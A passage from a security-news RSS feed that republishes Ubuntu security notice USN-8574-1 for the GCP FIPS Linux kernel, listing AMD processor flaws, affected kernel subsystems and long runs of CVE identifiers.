CVE-2026-45870, CVE-2026-45871, CVE-2026-45873, CVE-2026-45875,
CVE-2026-45879, CVE-2026-45883, CVE-2026-45885, CVE-2026-45890,
CVE-2026-45891, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904,
CVE-2026-45911, CVE-2026-45912, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45924, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45941, CVE-2026-45946, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969,
CVE-2026-45970, CVE-2026-45974, CVE-2026-45978, CVE-2026-45983,
CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45994, CVE-2026-46002, CVE-2026-46004, CVE-2026-46006,
CVE-2026-46009, CVE-2026-46015, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46027,
CVE-2026-46033, CVE-2026-46037, CVE-2026-46040, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46053, CVE-2026-46062, CVE-2026-46064,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46077, CVE-2026-46080,
CVE-2026-46082, CVE-2026-46088, CVE-2026-46098, CVE-2026-46099,
CVE-2026-46101, CVE-2026-46102, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46112, CVE-2026-46120, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46127, CVE-2026-46128, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46137, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46167, CVE-2026-46168, CVE-2026-46172, CVE-2026-46174,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46209, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46219, CVE-2026-46220, CVE-2026-46227,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46249, CVE-2026-46250,
CVE-2026-46253, CVE-2026-46259, CVE-2026-46267, CVE-2026-46270,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46285,
CVE-2026-46294, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46307, CVE-2026-46319, CVE-2026-46328, CVE-2026-52911,
CVE-2026-52912, CVE-2026-52914, CVE-2026-52915, CVE-2026-52916,
CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922,
CVE-2026-52925, CVE-2026-52926, CVE-2026-52931, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52962,
CVE-2026-52963, CVE-2026-52969, CVE-2026-52970, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52992,
CVE-2026-52993, CVE-2026-52995, CVE-2026-52998, CVE-2026-52999,
CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004,
CVE-2026-53006, CVE-2026-53011, CVE-2026-53012, CVE-2026-53016,
CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53037,
CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53043,
CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048,
CVE-2026-53049, CVE-2026-53050, CVE-2026-53059, CVE-2026-53060,
CVE-2026-53061, CVE-2026-53062, CVE-2026-53064, CVE-2026-53065,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53088, CVE-2026-53093, CVE-2026-53096,
CVE-2026-53112, CVE-2026-53128, CVE-2026-53130, CVE-2026-53287,
CVE-2026-53291, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296,
CVE-2026-53304, CVE-2026-53306, CVE-2026-53309, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53379, CVE-2026-63860, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64032, CVE-2026-64033, CVE-2026-64034,
CVE-2026-64039, CVE-2026-64046, CVE-2026-64047, CVE-2026-64055,
CVE-2026-64056, CVE-2026-64083, CVE-2026-64084, CVE-2026-64085,
CVE-2026-64086, CVE-2026-64087, CVE-2026-64088, CVE-2026-64089,
CVE-2026-64096, CVE-2026-64102, CVE-2026-64103, CVE-2026-64113,
CVE-2026-64114, CVE-2026-64115, CVE-2026-64125, CVE-2026-64133,
CVE-2026-64135, CVE-2026-64153, CVE-2026-64155, CVE-2026-64164,
CVE-2026-64165, CVE-2026-64166, CVE-2026-64168, CVE-2026-64173,
CVE-2026-64174, CVE-2026-64177, CVE-2026-64178, CVE-2026-64179,
CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8574-1: Linux kernel (GCP FIPS) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3683349/unix-server/usn-8574-1-linux-kernel-gcp-fips-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683349/unix-server/usn-8574-1-linux-kernel-gcp-fips-vulnerabilities/</guid>
<pubDate>Tue, 21 Jul 2026 12:16:02 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31638, CVE-2026-31639,
CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648,
CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31658,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675,
CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31689, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705,
CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709,
CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722,
CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741,
CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751,
CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756,
CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762,
CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770,
CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779,
CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051,
CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057,
CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066,
CVE-2026-43068, CVE-2026-43069, CVE-2026-43072, CVE-2026-43073,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43084,
CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089,
CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110,
CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43129, CVE-2026-43162, CVE-2026-43245,
CVE-2026-43252, CVE-2026-43265, CVE-2026-43281, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43362, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366,
CVE-2026-43368, CVE-2026-43370, CVE-2026-43371, CVE-2026-43372,
CVE-2026-43373, CVE-2026-43377, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43395,
CVE-2026-43397, CVE-2026-43405, CVE-2026-43408, CVE-2026-43409,
CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43495,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43499, CVE-2026-43502,
CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838,
CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842,
CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846,
CVE-2026-45855, CVE-2026-45858, CVE-2026-45899, CVE-2026-45911,
CVE-2026-45920, CVE-2026-45924, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45956, CVE-2026-45958, CVE-2026-45985, CVE-2026-45986,
CVE-2026-45987, CVE-2026-45989, CVE-2026-45991, CVE-2026-45994,
CVE-2026-45996, CVE-2026-45997, CVE-2026-45999, CVE-2026-46002,
CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006,
CVE-2026-46007, CVE-2026-46009, CVE-2026-46011, CVE-2026-46012,
CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46026, CVE-2026-46027, CVE-2026-46031, CVE-2026-46033,
CVE-2026-46037, CVE-2026-46038, CVE-2026-46040, CVE-2026-46041,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068,
CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083,
CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089,
CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113,
CVE-2026-46114, CVE-2026-46116, CVE-2026-46117, CVE-2026-46120,
CVE-2026-46121, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124,
CVE-2026-46125, CVE-2026-46126, CVE-2026-46127, CVE-2026-46128,
CVE-2026-46129, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46136, CVE-2026-46137, CVE-2026-46138, CVE-2026-46139,
CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46152, CVE-2026-46157, CVE-2026-46159, CVE-2026-46160,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46164, CVE-2026-46167,
CVE-2026-46168, CVE-2026-46169, CVE-2026-46172, CVE-2026-46173,
CVE-2026-46174, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46179, CVE-2026-46180, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191,
CVE-2026-46193, CVE-2026-46194, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46273, CVE-2026-46274, CVE-2026-46280,
CVE-2026-46282, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287,
CVE-2026-46291, CVE-2026-46292, CVE-2026-46293, CVE-2026-46294,
CVE-2026-46296, CVE-2026-46299, CVE-2026-46301, CVE-2026-46303,
CVE-2026-46304, CVE-2026-46306, CVE-2026-46307, CVE-2026-46312,
CVE-2026-46314, CVE-2026-46319, CVE-2026-52911, CVE-2026-52920,
CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039,
CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084,
CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115,
CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126,
CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287,
CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304,
